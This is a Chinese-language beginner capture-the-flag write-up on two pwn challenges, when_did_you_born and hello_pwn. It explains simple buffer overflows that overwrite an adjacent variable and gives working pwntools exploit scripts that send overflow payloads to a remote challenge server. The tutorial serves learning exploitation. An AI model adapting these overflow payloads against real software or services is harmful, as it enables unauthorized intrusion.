pwn入門練習

1、CGfsb:https://blog.csdn.net/zz_Caleb/article/details/88980866

2、when_did_you_born(簡單的ROP)

下載文件,是一個64位的elf文件,放到ida中看僞碼,報錯:

 搜了一下這個問題,是棧的問題,可以通過修改一些設置來解決,但是,找到了main函數:

 在這個地方查看僞碼不會報錯,而且主函數的源碼可以得到:

分析一下僞碼,v5==1926會讓我們拿到flag,但是,前面對v5進行了過濾,所以我們再輸入的時候就不能把v5的值輸成1926,那怎麼辦呢?我們看到最前面給出了v4和v5的位置:

char v4; // [rsp+0h] [rbp-20h]
unsigned int v5; // [rsp+8h] [rbp-18h]

所以v5比v4的地址大了8位,而在輸入v4的時候用的是gets函數,不會對輸入的字符串長度進行限制,所以我們可以利用變量的溢出,將溢出的數據覆蓋v5使v5的值爲1926,構造payload = "A"*8 + p32(1926)即可。

下面給出腳本:
 

from pwn import *

p = remote('111.198.29.45', 31788)
p.sendlineafter('Birth?\n', '1998')
payload = 'AAAAAAAA' + p32(1926)
p.sendlineafter('Name?\n', payload)
print(p.recvall())

運行結果:

3、hello_pwn

64位elf文件,ida查看僞碼:

 看一下這個sub_400686()函數:

所以我們的目標就是讓dword_60106C == 1853186401,read(0, &unk_601068, 0x10uLL)是將鍵盤輸入的數據存儲到unk_601068中,我們看一下unk_601068的位置發現unk_601068和dword_60106C 的位置只相差4:

 我們可以對unk_601068進行輸入,而且這裏也是不限定輸入長度的,所以我們可以輸入unk_601068使其溢出來把1853186401覆蓋到dword_60106C上。

下面給出溢出腳本:

from pwn import *

p  = remote('111.198.29.45', 31876)
payload = 'AAAA' + p64(1853186401)
p.recvuntil('helloworld for bof\n')
p.send(payload)
print(p.recv())

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章